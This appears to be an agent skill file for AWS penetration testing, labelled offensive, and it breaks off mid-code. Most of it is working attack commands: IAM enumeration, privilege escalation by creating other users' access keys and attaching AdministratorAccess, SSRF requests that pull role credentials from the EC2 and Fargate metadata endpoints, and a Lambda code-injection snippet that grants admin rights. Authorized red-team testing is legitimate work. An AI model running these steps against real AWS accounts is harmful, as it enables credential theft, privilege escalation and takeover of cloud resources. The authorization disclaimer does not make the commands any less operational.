AWS Penetration Testing

--- name: aws-penetration-testing description: "Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations." risk: offensive source: community author: zebbern date_added: "2026-02-27" --- > AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # AWS Penetration Testing ## Purpose Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations. ## Inputs/Prerequisites - AWS CLI configured with credentials - Valid AWS credentials (even low-privilege) - Understanding of AWS IAM model - Python 3, boto3 library - Tools: Pacu, Prowler, ScoutSuite, SkyArk ## Outputs/Deliverables - IAM privilege escalation paths - Extracted credentials and secrets - Compromised EC2/Lambda/S3 resources - Persistence mechanisms - Security audit findings --- ## Essential Tools | Tool | Purpose | Installation | |------|---------|--------------| | Pacu | AWS exploitation framework | git clone https://github.com/RhinoSecurityLabs/pacu | | SkyArk | Shadow Admin discovery | Import-Module .\SkyArk.ps1 | | Prowler | Security auditing | pip install prowler | | ScoutSuite | Multi-cloud auditing | pip install scoutsuite | | enumerate-iam | Permission enumeration | git clone https://github.com/andresriancho/enumerate-iam | | Principal Mapper | IAM analysis | pip install principalmapper | --- ## Core Workflow ### Step 1: Initial Enumeration Identify the compromised identity and permissions: ``bash # Check current identity aws sts get-caller-identity # Configure profile aws configure --profile compromised # List access keys aws iam list-access-keys # Enumerate permissions ./enumerate-iam.py --access-key AKIA... --secret-key StF0q... ` ### Step 2: IAM Enumeration `bash # List all users aws iam list-users # List groups for user aws iam list-groups-for-user --user-name TARGET_USER # List attached policies aws iam list-attached-user-policies --user-name TARGET_USER # List inline policies aws iam list-user-policies --user-name TARGET_USER # Get policy details aws iam get-policy --policy-arn POLICY_ARN aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1 # List roles aws iam list-roles aws iam list-attached-role-policies --role-name ROLE_NAME ` ### Step 3: Metadata SSRF (EC2) Exploit SSRF to access metadata endpoint (IMDSv1): `bash # Access metadata endpoint http://169.254.169.254/latest/meta-data/ # Get IAM role name http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Extract temporary credentials http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # Response contains: { "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2019-08-01T05:20:30Z" } ` **For IMDSv2 (token required):** `bash # Get token first TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ "http://169.254.169.254/latest/api/token") # Use token for requests curl -H "X-aws-ec2-metadata-token:$TOKEN" \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/" ` **Fargate Container Credentials:** `bash # Read environment for credential path /proc/self/environ # Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/... # Access credentials http://169.254.170.2/v2/credentials/CREDENTIAL-PATH ` --- ## Privilege Escalation Techniques ### Shadow Admin Permissions These permissions are equivalent to administrator: | Permission | Exploitation | |------------|--------------| | iam:CreateAccessKey | Create keys for admin user | | iam:CreateLoginProfile | Set password for any user | | iam:AttachUserPolicy | Attach admin policy to self | | iam:PutUserPolicy | Add inline admin policy | | iam:AddUserToGroup | Add self to admin group | | iam:PassRole + ec2:RunInstances | Launch EC2 with admin role | | lambda:UpdateFunctionCode | Inject code into Lambda | ### Create Access Key for Another User `bash aws iam create-access-key --user-name target_user ` ### Attach Admin Policy `bash aws iam attach-user-policy --user-name my_username \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess ` ### Add Inline Admin Policy `bash aws iam put-user-policy --user-name my_username \ --policy-name admin_policy \ --policy-document file://admin-policy.json ` ### Lambda Privilege Escalation ``python # code.py - Inject into Lambda function import boto3 def lambdahandler(event, context): client = boto3.client('iam') response = client.attachuserpolicy( UserName='myusername', PolicyArn="a